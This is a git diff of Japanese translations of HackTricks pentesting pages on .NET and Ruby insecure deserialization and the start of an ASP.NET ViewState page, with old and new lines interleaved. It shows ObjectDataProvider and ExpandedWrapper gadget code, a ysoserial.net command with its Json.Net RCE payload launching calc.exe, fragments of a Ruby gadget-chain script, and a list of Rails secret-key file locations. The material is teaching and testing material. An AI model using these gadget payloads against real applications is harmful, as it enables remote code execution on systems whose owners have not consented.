- `BinaryFormatter`および`JSON.Net`用にカスタム`SerializationBinder`を使用した**ホワイトリストコントロールを実装**します。
|
||||
|
||||
既知の.Netの安全でないデシリアライゼーションガジェットについて最新の情報を得るようにし、そのようなタイプがデシリアライゼーションプロセスによって作成される場所に特に注意してください。**デシリアライザーは、知っているタイプのみをインスタンス化できます**。
|
||||
- .Net内の既知の安全でない逆シリアル化ガジェットについて**情報を収集**し、デシリアライザがそのようなタイプをインスタンス化しないようにします。
|
||||
|
||||
インターネット接続を持つコードと、潜在的なガジェットを作成する可能性があるコードを分離してください。例として、WPFアプリケーションで使用される`System.Windows.Data.ObjectDataProvider`は、任意のメソッド呼び出しを可能にする既知のガジェットです。信頼できないデータをデシリアライズするRESTサービスプロジェクトでこのアセンブリへの参照を持つことはリスクが高いでしょう。
|
||||
- **潜在的にリスキーなコードを隔離**して、WPFアプリケーションの`System.Windows.Data.ObjectDataProvider`などの既知のガジェットが信頼できないデータソースにさらされないようにします。
|
||||
|
||||
### **参考文献**
|
||||
|
||||
* Javaと.NetのJSONデシリアライゼーションに関する**論文:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** トーク: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) およびスライド: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
* Javaおよび.Net JSON逆シリアル化**論文:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**、**トーク:** [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c)**、**スライド:** [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
* [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp)
|
||||
* [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf)
|
||||
* [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
|
||||
|
||||
## **Ruby**
|
||||
|
||||
Rubyには**marshal**ライブラリ内でシリアライゼーションを実装するための2つの方法があります。最初の方法はオブジェクトをバイトストリームに変換する**dump**(**シリアライズ**)。そして2つ目の方法はバイトストリームを再びオブジェクトに変換する**load**(**デシリアライズ**)です。\
|
||||
RubyはシリアライズされたオブジェクトにHMACを使用して署名し、以下のファイルのいずれかにキーを保存します:
|
||||
Rubyでは、**marshal**ライブラリ内の2つのメソッドによってシリアル化が容易に行われます。最初のメソッドである**dump**は、オブジェクトをバイトストリームに変換するために使用されます。このプロセスはシリアル化と呼ばれます。逆に、2番目のメソッドである**load**は、バイトストリームをオブジェクトに戻すために使用され、逆シリアル化と呼ばれます。
|
||||
|
||||
* config/environment.rb
|
||||
* config/initializers/secret\_token.rb
|
||||
* config/secrets.yml
|
||||
* /proc/self/environ
|
||||
シリアル化されたオブジェクトを保護するために、**RubyはHMAC(Hash-Based Message Authentication Code)**を使用してデータの整合性と信頼性を確保します。この目的で使用されるキーは、次のいずれかの場所に保存されます:
|
||||
|
||||
Ruby 2.Xの一般的なデシリアライゼーションからRCEガジェットチェーンまで(詳細は[https://www.elttam.com/blog/ruby-deserialization/](https://www.elttam.com/blog/ruby-deserialization/)を参照):
|
||||
- `config/environment.rb`
|
||||
- `config/initializers/secret_token.rb`
|
||||
- `config/secrets.yml`
|
||||
- `/proc/self/environ`
|
||||
|
||||
**Ruby 2.Xジェネリック逆シリアル化からRCEガジェットチェーン(詳細は[https://www.elttam.com/blog/ruby-deserialization/](https://www.elttam.com/blog/ruby-deserialization/))**:
|
||||
```ruby
|
||||
#!/usr/bin/env ruby
|
||||
|
||||
# Code from https://www.elttam.com/blog/ruby-deserialization/
|
||||
|
||||
class Gem::StubSpecification
|
||||
def initialize; end
|
||||
end
|
||||
|
@ -831,20 +820,18 @@ require "base64"
|
|||
puts "Payload (Base64 encoded):"
|
||||
puts Base64.encode64(payload)
|
||||
```
|
||||
```markdown
|
||||
Ruby On Railsを利用した他のRCEチェーンの悪用: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
||||
Ruby On Railsを悪用する他のRCEチェーン: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)で**フォロー**する。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォロー**する
|
||||
* **ハッキングトリックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -1,48 +1,48 @@
|
|||
# 基本的な.NET逆シリアル化(ObjectDataProviderガジェット、ExpandedWrapper、およびJson.Net)
|
||||
# 基本的な.Net逆シリアル化(ObjectDataProviderガジェット、ExpandedWrapper、およびJson.Net)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSにアクセス**したり、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で[🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md) **@carlospolopm**](https://twitter.com/hacktricks_live)をフォローしてください。
|
||||
* **ハッキングトリックを共有する**には、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
この記事は、**ObjectDataProviderガジェットを悪用してRCEを取得する方法**と、そのガジェットを使用して**SerializationライブラリであるJson.NetとxmlSerializerを悪用する方法**を理解するために捧げられています。
|
||||
この投稿は、**ObjectDataProviderガジェットがどのように悪用されるか**を理解し、そのガジェットを使用してRCEを取得する方法、および**Serializationライブラリ**である**Json.NetとxmlSerializerが**どのように悪用されるかについて説明します。
|
||||
|
||||
## ObjectDataProviderガジェット
|
||||
|
||||
ドキュメントによると:_ObjectDataProviderクラスは、バインディングソースとして使用できるオブジェクトをラップおよび作成します。_\
|
||||
はい、これは奇妙な説明ですので、このクラスが興味深いのは何を持っているか見てみましょう:このクラスは、**任意のオブジェクトをラップ**し、_**MethodParameters**_を使用して**任意のパラメータを設定**し、その後、任意のパラメータを使用して宣言された任意のオブジェクトの任意の関数を呼び出すために**MethodNameを使用**できます。\
|
||||
したがって、任意の**オブジェクト**は、**逆シリアル化されながら**パラメータを持つ**関数**を**実行**します。
|
||||
ドキュメントから:_ObjectDataProviderクラスは、バインディングソースとして使用できるオブジェクトをラップおよび作成します。_\
|
||||
はい、これは奇妙な説明ですので、このクラスには何が興味深いのかを見てみましょう:このクラスは**任意のオブジェクトをラップ**し、_**MethodParameters**_を使用して**任意のパラメータを設定**し、その後、**MethodNameを使用して**任意のオブジェクトで宣言された**任意の関数を呼び出す**ことができます。\
|
||||
したがって、任意の**オブジェクト**は、**逆シリアル化されながら**任意の**パラメータを使用して**関数を**実行**します。
|
||||
|
||||
### **これが可能な理由**
|
||||
|
||||
ObjectDataProviderは、**PresentationFramework.dll**(_C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF_)にある**System.Windows.Data**名前空間で定義および実装されています。
|
||||
ObjectDataProviderが定義および実装されている**System.Windows.Data**名前空間は、`C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`にある**PresentationFramework.dll**内に見つかります。
|
||||
|
||||
[**dnSpy**](https://github.com/0xd4d/dnSpy)を使用して、興味のあるクラスのコードを**検査**できます。以下の画像では、**PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**のコードを見ています。
|
||||
[**dnSpy**](https://github.com/0xd4d/dnSpy)を使用して、興味を持つクラスのコードを**検査**できます。以下の画像では、**PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**のコードを見ています。
|
||||
|
||||
![](<../../.gitbook/assets/image (299).png>)
|
||||
|
||||
`MethodName`が設定されると、`base.Refresh()`が呼び出されることがわかります。それが何をするか見てみましょう:
|
||||
`MethodName`が設定されると`base.Refresh()`が呼び出されることがわかります。これが何をするか見てみましょう:
|
||||
|
||||
![](<../../.gitbook/assets/image (300).png>)
|
||||
|
||||
では、`this.BeginQuery()`が何をするのか見てみましょう。`BeginQuery`は`ObjectDataProvider`によってオーバーライドされ、以下のようになります:
|
||||
では、`this.BeginQuery()`が何をするかを続けて見てみましょう。`BeginQuery`は`ObjectDataProvider`によってオーバーライドされ、これが行うことです:
|
||||
|
||||
![](<../../.gitbook/assets/image (301).png>)
|
||||
|
||||
コードの最後で`this.QueryWorke(null)`を呼び出していることに注意してください。これが実行するものを見てみましょう:
|
||||
コードの最後で`this.QueryWorke(null)`を呼び出していることに注意してください。これが実行する内容を見てみましょう:
|
||||
|
||||
![](<../../.gitbook/assets/image (302) (1).png>)
|
||||
|
||||
`QueryWorker`関数の完全なコードではありませんが、興味深い部分が表示されています:コードは`this.InvokeMethodOnInstance(out ex);`を呼び出していることがわかります。これは、**設定されたメソッドが呼び出される**行です。
|
||||
この関数`QueryWorker`のコード全体ではありませんが、興味深い部分を示しています:コードは`this.InvokeMethodOnInstance(out ex);`を呼び出しており、これは**設定されたメソッドが呼び出される**行です。
|
||||
|
||||
`MethodName`を設定するだけで実行されることを確認したい場合は、次のコードを実行できます:
|
||||
単に_**MethodName**_を設定するだけで実行されることを確認したい場合は、このコードを実行できます:
|
||||
```java
|
||||
using System.Windows.Data;
|
||||
using System.Diagnostics;
|
||||
|
@ -62,16 +62,16 @@ myODP.MethodName = "Start";
|
|||
}
|
||||
}
|
||||
```
|
||||
注意してください。`System.Windows.Data`をロードするために、参照として_C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_を追加する必要があります。
|
||||
注意してください。`System.Windows.Data`をロードするために、_C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_を参照に追加する必要があります。
|
||||
|
||||
## ExpandedWrapper
|
||||
|
||||
前の攻撃を使用すると、**オブジェクト**が_**ObjectDataProvider**_のインスタンスとして**デシリアライズされる**場合があります(たとえば、DotNetNukeの脆弱性では、XmlSerializerを使用してオブジェクトが`GetType`を使用してデシリアライズされました)。その後、_ObjectDataProvider_インスタンスに**ラップされたオブジェクトの型に関する情報がない**場合があります(例えば、`Process`)。[DotNetNukeの脆弱性に関する詳細はこちらを参照してください](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1)。
|
||||
前述の脆弱性を使用すると、**オブジェクト**が _**ObjectDataProvider**_ インスタンスとして**逆シリアル化される**場合があります(たとえば、DotNetNukeの脆弱性では、`GetType`を使用してオブジェクトが逆シリアル化されました)。その後、_ObjectDataProvider_ インスタンスに**ラップされたオブジェクトタイプの知識がない**場合があります(たとえば、`Process`)。[DotNetNukeの脆弱性に関する詳細はこちら](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1)で確認できます。
|
||||
|
||||
このクラスは、指定されたインスタンスにカプセル化されたオブジェクトのオブジェクト型を**指定する**ことができます。したがって、このクラスは、ソースオブジェクト(_ObjectDataProvider_)を新しいオブジェクト型にカプセル化し、必要なプロパティ(_ObjectDataProvider.MethodName_および_ObjectDataProvider.MethodParameters_)を提供するために使用できます。\
|
||||
これは、前述のようなケースに非常に便利です。なぜなら、\_ObjectDataProviderを\_ExpandedWrapperのインスタンスに**ラップ**し、このクラスを**デシリアライズ**すると、_MethodName_で指定された**関数**を実行する_ObjectDataProvider_オブジェクトが**作成**されるからです。
|
||||
このクラスは、与えられたインスタンスに**カプセル化されたオブジェクトのオブジェクトタイプを指定**することができます。したがって、このクラスは、ソースオブジェクト(_ObjectDataProvider_)を新しいオブジェクトタイプにカプセル化し、必要なプロパティ(_ObjectDataProvider.MethodName_ および _ObjectDataProvider.MethodParameters_)を提供するために使用できます。\
|
||||
これは以前に提示されたケースのような場合に非常に便利です。なぜなら、**\_ObjectDataProvider**_を**\_ExpandedWrapper**_の内部に**ラップ**し、このクラスを**逆シリアル化すると**、_**MethodName**_で指定された**関数**を**実行**する _**OjectDataProvider**_ オブジェクトが**作成**されるからです。
|
||||
|
||||
次のコードでこのラッパーを確認できます:
|
||||
このラッパーを次のコードで確認できます:
|
||||
```java
|
||||
using System.Windows.Data;
|
||||
using System.Diagnostics;
|
||||
|
@ -95,11 +95,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
|
|||
```
|
||||
## Json.Net
|
||||
|
||||
[公式ウェブページ](https://www.newtonsoft.com/json)には、このライブラリを使用してJson.NETの強力なJSONシリアライザを使用して、任意の.NETオブジェクトをシリアライズおよびデシリアライズできると記載されています。したがって、ObjectDataProviderガジェットをデシリアライズできれば、オブジェクトをデシリアライズするだけでRCEを引き起こすことができます。
|
||||
[公式ウェブページ](https://www.newtonsoft.com/json) によると、このライブラリは **Json.NET の強力な JSON シリアライザを使用して、任意の .NET オブジェクトをシリアライズおよびデシリアライズ** できるとされています。したがって、**ObjectDataProvider ガジェットをデシリアライズ** できれば、オブジェクトをデシリアライズするだけで **RCE** を引き起こすことができます。
|
||||
|
||||
### Json.Netの例
|
||||
### Json.Net の例
|
||||
|
||||
まず、このライブラリを使用してオブジェクトをシリアライズ/デシリアライズする方法の例を見てみましょう:
|
||||
まずは、このライブラリを使用してオブジェクトを **シリアライズ/デシリアライズ** する方法の例を見てみましょう:
|
||||
```java
|
||||
using System;
|
||||
using Newtonsoft.Json;
|
||||
|
@ -142,9 +142,9 @@ Console.WriteLine(desaccount.Email);
|
|||
}
|
||||
}
|
||||
```
|
||||
### Json.Netの悪用
|
||||
### Json.Netの乱用
|
||||
|
||||
[ysoserial.net](https://github.com/pwntester/ysoserial.net)を使用して、以下のエクスプロイトを作成しました:
|
||||
[ysoserial.net](https://github.com/pwntester/ysoserial.net)を使用して、次のエクスプロイトを作成しました:
|
||||
```java
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
|
||||
{
|
||||
|
@ -157,7 +157,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
|
|||
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
|
||||
}
|
||||
```
|
||||
このコードでは、**エクスプロイトをテスト**することができます。実行すると、calcが実行されることがわかります。
|
||||
このコードでは、**エクスプロイトをテスト**することができます。単に実行すると、calc が実行されることがわかります:
|
||||
```java
|
||||
using System;
|
||||
using System.Text;
|
||||
|
@ -196,12 +196,12 @@ TypeNameHandling = TypeNameHandling.Auto
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**してみたいですか?または**最新版のPEASSにアクセス**したいですか?または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。当社の独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクション
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* **[💬 Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,71 +1,80 @@
|
|||
# \_\_VIEWSTATEの秘密を知らずに悪用する
|
||||
# \_\_VIEWSTATEパラメータを知らなくても悪用する
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェック!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
**ハッキングのキャリア**に興味があり、ハッキングできないものをハックしたい方 - **採用中です!** (_流暢なポーランド語の読み書きが必要です_).
|
||||
**ハッキングキャリア**に興味がある方や、**解読不能なものをハッキング**したい方 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## ViewStateとは
|
||||
|
||||
**ViewState**は、ASP.NETフレームワークがデフォルトで使用する方法で、**ページ間でページとコントロールの値を保持する**ために使われます。ページのHTMLがレンダリングされると、ページの現在の状態とポストバック中に保持する必要がある値がシリアライズされ、base64エンコードされた文字列に変換され、ViewStateの隠しフィールドに出力されます。\
|
||||
ViewState情報に適用されるプロパティまたはプロパティの組み合わせは以下の通りです:
|
||||
**ViewState**は、ASP.NETでページとコントロールデータをWebページ間で維持するためのデフォルトメカニズムとして機能します。ページのHTMLがレンダリングされる際、ページの現在の状態とポストバック中に保持する値は、base64でエンコードされた文字列にシリアル化されます。これらの文字列は、非表示のViewStateフィールドに配置されます。
|
||||
|
||||
* Base64
|
||||
* EnableViewStateMacとViewStateEncryptionMode属性をfalseに設定することで定義可能
|
||||
* Base64 + MAC (メッセージ認証コード) 有効
|
||||
* EnableViewStateMac属性をtrueに設定することで定義可能
|
||||
* Base64 + 暗号化
|
||||
* viewStateEncryptionMode属性をtrueに設定することで定義可能
|
||||
ViewState情報は、次のプロパティまたはそれらの組み合わせによって特徴付けられます:
|
||||
|
||||
## **テストケース**
|
||||
- **Base64**:
|
||||
- この形式は、`EnableViewStateMac`と`ViewStateEncryptionMode`属性がともにfalseに設定されている場合に使用されます。
|
||||
|
||||
![](<../../.gitbook/assets/image (309) (2).png>)
|
||||
- **Base64 + MAC(Message Authentication Code)有効**:
|
||||
- MACの有効化は、`EnableViewStateMac`属性をtrueに設定することで実現されます。これにより、ViewStateデータの整合性検証が提供されます。
|
||||
|
||||
### テストケース1: EnableViewStateMac=false および viewStateEncryptionMode=false
|
||||
- **Base64 + 暗号化**:
|
||||
- 暗号化は、`ViewStateEncryptionMode`属性がtrueに設定されている場合に適用され、ViewStateデータの機密性が確保されます。
|
||||
|
||||
`AspNetEnforceViewStateMac`レジストリキーを以下の場所でゼロに設定することにより、ViewStateMACを完全に無効にすることも可能です:
|
||||
## テストケース
|
||||
|
||||
画像は、.NETフレームワークバージョンに基づいてASP.NETでのViewStateの異なる構成を詳細に示した表です。以下は、内容の要約です:
|
||||
|
||||
1. **.NETの任意のバージョン**について、MACと暗号化が無効になっている場合、MachineKeyは必要なく、それを特定するための適用可能な方法はありません。
|
||||
|
||||
2. **4.5未満のバージョン**では、MACが有効になっているが暗号化が無効な場合、MachineKeyが必要です。MachineKeyを特定する方法は、「Blacklist3r」と呼ばれます。
|
||||
|
||||
3. **4.5未満のバージョン**では、MACが有効であるかどうかに関係なく、暗号化が有効な場合、MachineKeyが必要です。「Blacklist3r - Future Development」がMachineKeyの特定を担当します。
|
||||
|
||||
4. **4.5以上のバージョン**では、MACと暗号化のすべての組み合わせ(両方がtrueであるか、1つがtrueで他がfalseであるか)にはMachineKeyが必要です。「Blacklist3r」を使用してMachineKeyを特定できます。
|
||||
|
||||
|
||||
### テストケース:1 – EnableViewStateMac=false および viewStateEncryptionMode=false
|
||||
|
||||
